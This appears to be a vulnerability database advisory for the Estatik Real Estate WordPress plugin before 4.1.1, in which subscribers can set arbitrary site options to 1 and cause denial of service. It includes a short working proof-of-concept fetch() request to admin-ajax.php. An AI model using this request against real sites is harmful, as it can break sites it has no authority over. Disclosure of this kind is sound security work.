WordPress Plugin Vulnerabilities

Estatik Real Estate Plugin < 4.1.1 - Subscriber+ Arbitrary Option Update

Description

The plugin does not prevent user with low privileges on the site, like subscribers, from setting any of the site's options to 1, which could be used to break sites and lead to DoS when certain options are reset

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user:

fetch("/wp-admin/admin-ajax.php?action=es_dismiss_notices", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "notice=template",
  "method": "POST",
});

Affects Plugins

Fixed in 4.1.1

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-25 (about 4 months ago)
Added
2023-12-25 (about 4 months ago)
Last Updated
2023-12-25 (about 4 months ago)

Other